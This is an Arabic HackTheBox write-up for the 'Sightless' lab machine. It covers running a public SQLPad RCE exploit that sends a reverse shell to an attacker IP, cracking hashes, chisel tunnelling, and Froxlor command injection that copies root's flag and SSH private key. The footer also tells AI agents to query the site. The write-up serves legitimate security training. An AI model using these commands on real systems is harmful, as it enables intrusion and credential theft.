> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md). # شرح Sightless HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات**: * استغلال SQLPad * نظام تعداد LINpeas * كسر الهاشات (John) * تحويل المنافذ (chisel) * Froxlor (حقن الأوامر) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.32 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** استخدم الدالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (21,22,80)

فحص إصدارات المنافذ باستخدام Nmap: استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p80,22,21 10.10.11.32 -oN targeted ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، نقوم بإدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

نعثر على بريد إلكتروني محتمل: `sales@sightless.htb`

## ثغرة SQLPad: {% hint style="info" %} **SQLPad** هي أداة مفتوحة المصدر تجعل من السهل تنفيذ استعلامات SQL وعرضها ومشاركتها عبر واجهة ويب سهلة الاستخدام. وهي مثالية لفرق البيانات أو المطورين. {% endhint %}

**`http://sqlpad.sightless.htb`**

**الإصدار المعرض للثغرة:** النسخة الموجودة على `http://admin.sightless.htb` تستخدم SQLPad 6.10.0، وهو إصدار يحتوي على ثغرة معروفة.

{% embed url="" %} **التثبيت:** ```bash git clone https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944 cd sqlpad-rce-exploit-CVE-2022-0944 ``` **تشغيل الاستغلال:** ```bash python3 exploit.py http://sqlpad.sightless.htb/ 10.10.14.89 443 ``` نستمع على المنفذ 443 باستخدام `nc`، ونحصل على وصول.

## تصعيد الامتيازات عند الوصول إلى جذر النظام، نجد مستخدمين اثنين: `michael` و `node`، بالإضافة إلى سكربت باسم `linpeas.sh`استخدمه لتعداد النظام واكتشاف الثغرات المحتملة.

### **تعداد النظام (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

نستخدم LinPEAS للتعرف على الامتيازات ونكتشف كلمات المرور المُجزأة للمستخدمين `root` و `michael`.

نحاول كسر هذه الكلمات باستخدام John وقاموس Rockyou: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` إليك كلمات المرور المسترجعة: `root:blindside` `michael:insaneclownposse`

### الراية user.txt عند تسجيل الدخول بالمستخدم `michael`، نحصل على الملف `user.txt`. ومع ذلك، يبدو أن كلمة مرور root غير صحيحة.

### **Chisel (تحويل المنافذ)** سنلاحظ أولاً المنافذ المفتوحة داخليًا بالأمر التالي: ```bash netstat -nltp ``` نلاحظ أن المنفذ **8080** يجذب انتباهنا.

من خلال تنفيذ `curl` طلب على هذا المنفذ، نحصل على صفحة HTML تحتوي على نموذج تسجيل دخول باسم مستخدم وكلمة مرور.

لإتاحة هذا المحتوى الداخلي للخارج، سنستخدم أداة **Chisel** سننقل ملف Chisel الثنائي إلى جهازنا باستخدام **Python** و **wget**: ```bash wget http://10.10.15.35:321/chisel python3 -m http.server 321 ```

بعد ذلك، نستمع على جهازنا المهاجم على المنفذ **8888**: ```bash chisel server -p 8888 -reverse ``` على الجهاز الهدف، نشغّل سكربت Chisel بوضع العميل للاتصال بجهازنا المهاجم على المنفذ **8888**. وبذلك نعيد توجيه localhost الخاص بمنفذ الضحية **8080** إلى منفذنا **8081**:

بهذه الطريقة، كشفنا خارجيًا الخدمة التي كانت تعمل داخليًا على المنفذ **8080** (**Froxlor**).

`admin:ForlorfroxAdmin` {% hint style="info" %} Froxlor هو لوحة تحكم لإدارة استضافة الويب تتيح للمستخدمين إدارة خوادمهم وخدمات الاستضافة بسهولة. ويوفر واجهة سهلة الاستخدام لتكوين وإدارة موارد الخادم، مثل النطاقات وقواعد البيانات وحسابات FTP وخدمات البريد الإلكتروني. {% endhint %} **إنشاء إصدار PHP جديد :** بعد تسجيل الدخول، انتقل إلى قسم “PHP”، ثم “PHP-FPM Versions” وأنشئ إصدارًا جديدًا. في حقل أمر إعادة تشغيل PHP-FPM، أدخل الأمر التالي: `cp /root/root.txt /tmp/root.txt`

احفظ الإعدادات ثم انتقل إلى `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. قم بتعطيل PHP-FPM واحفظ التغييرات، ثم أعد تفعيله واحفظ مرة أخرى. سيؤدي هذا إلى تنفيذ أمر النسخ.

هذا هو الملف، يجب الآن منحه الأذونات:

للمتابعة، كرر العملية نفسها ولكن استبدل الأمر بـ: ```bash chmod 644 /tmp/root.txt ``` ### راية root : )

للاتصال، عليك فقط نسخ `id_rsa` المفتاح (SSH من root) وكرر الإجراء لاستعادة الأذونات: ```bash cp /root/.ssh/id_rsa /tmp/id_rsa ``` ```bash chmod 644 /tmp/root.txt ```

ثم سجّل الدخول باستخدام المفتاح عبر SSH: ```bash ssh -i id_rsa root@localhost ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.